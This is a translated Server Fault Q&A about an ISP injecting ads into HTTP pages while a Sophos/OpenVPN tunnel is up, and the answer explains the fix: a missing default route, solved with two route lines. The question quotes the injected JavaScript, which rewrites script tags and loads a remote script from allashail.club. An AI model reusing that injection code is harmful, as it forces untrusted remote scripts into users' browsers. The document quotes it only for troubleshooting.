Vpn

防止通過 VPN 從 ISP(代理分析器)注入腳本

  • April 5, 2020

我正在使用 Sophos SSL VPN 客戶端。但我使用的是 BSNL ISP。每當我連接我的 VPN 並瀏覽任何 HTTP 非安全網站時,ADS 都會被注入到 JS 腳本文件中。但是當我斷開 VPN 並瀏覽任何不安全的網站時。不會發生腳本注入,也不會顯示 ADS

但我的問題是,我的 ISP BSNL 在連接到安全隧道後如何辨識出我正在瀏覽一個不安全的網站。這樣所有路由的網路流量都將被加密。但是他們如何使用 Network Proxy Analyzer 來注入腳本呢?

在這裡您將找到連接到 VPN 時的日誌

OpenVPN 2.3.8 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [IPv6] built on Jul  3 2017
library versions: OpenSSL 1.0.2l  25 May 2017, LZO 2.09

Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Encrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Decrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 2048 bit RSA

腳本(JS)

!function() {
   var a = "/analytics.js"
     , r = null
     , e = document.getElementsByTagName("script")
     , i = e.length
     , n = null
     , t = Date.now()
     , s = null
     , o = 0;
   for ("/" === a.substring(0, 1) && (a = a.substring(1)),
   o = 0; o < i; o += 1)
       if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
           n = o,
           r = e[o];
           break
       }
   void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
   s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
   try {
       if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
           void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
           window.sarazasarazaNoti.push(r.src);
           var c = r.parentNode
             , d = r;
           if (r.async || r.defer || null !== n && n !== e.length - 1) {
               var w = document.createElement("script");
               w.src = s,
               c.replaceChild(w, d)
           } else
               document.write("<script type='text/javascript' src=" + s + "><\/script>"),
               c.removeChild(d)
       }
   } catch (a) {}
}();
document.addEventListener('DOMContentLoaded', function() {
   var esp = document.createElement('span');
   var esr = document.createElement('script');
   esr.src = 'http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2';
   esr.type = 'text/javascript';
   esp.appendChild(esr);
   document.body.appendChild(esp);
}, false);

HTML(腳本注入)

<html>
  <head>
     <script src="http://www.google-analytics.com/analytics.js?cb=1585885601053&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
  </head>
  </body>
  <span>
     <script src="http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2" type="text/javascript"></script>
  </span>
  </body>
</html>

OpenVPN 配置

client
dev tun
proto tcp
verify-x509-name "OU=Domain Control Validated, CN=*.domain.com"
route remote_host 255.255.255.255 net_gateway
resolv-retry infinite
nobind
persist-key
persist-tun
<ca>
Bag Attributes: <No Attributes>
subject=/C=BE/O=GlobalSign nv-sa/CN=XXXSSL CA - SHA256 - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</ca>
<cert>
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
</key>
auth-user-pass pass.txt
cipher AES-128-CBC
auth SHA256
comp-lzo no
route-delay 4
verb 3
reneg-sec 86400

remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443

建立安全連接。我們應該如何使用 OpenVPN 協議配置我的 Sophos SSL VPN 客戶端

…我的問題是我的 ISP BSNL 在連接到安全隧道後如何辨識我正在瀏覽一個不安全的網站…

查看您的路由表(在 VPN 啟動後),到更廣泛 Internet 的流量仍然通過您的 ISP,而不是通過您的隧道,這就是您的 ISP 可以攔截它的原因。

如果您查看,您的“預設網關”(0.0.0.0 行網路遮罩 0.0.0.0 和 192.168.43.1 網關)在第 13 行(在 VPN 之前)和在第 53 行(在 VPN 之後)是相同的。VPN 似乎確實在添加路由 - 但所有這些路由都是非常具體的,並且不是 Internet 可路由的。例如,8.8.8.8 或大多數其他 Internet 地址沒有更具體的路由。 看起來您的 VPN 提供商要麼沒有向您推送預設路由,要麼您的一方不接受它,這是您問題的核心。

有很多方法可以解決這個問題。一種是將以下 2 行添加到您的配置文件並重新啟動您的 VPN:

 route 0.0.0.0 128.0.0.0
 route 128.0.0.0 128.0.0.0

這 2 行將匹配所有 IPV4 空間(0.0.0.0 - 127.255.255.25 和 128.0.0.0 - 255.255.255.255),組合效果相當於添加一個預設網關,該預設網關優於現有網關,因為它由更多具體路線。

如果這成功了,當您建立 VPN 連接時,這 2 條新路由將被添加到您的路由表中,並在停止時被刪除。

(就目前的情況而言,您沒有 IPv6 預設路由,但如果您的系統發生了這樣的變化,您需要更新您的 VPN 以使其也適用於 IPV6)

引用自:https://serverfault.com/questions/1010859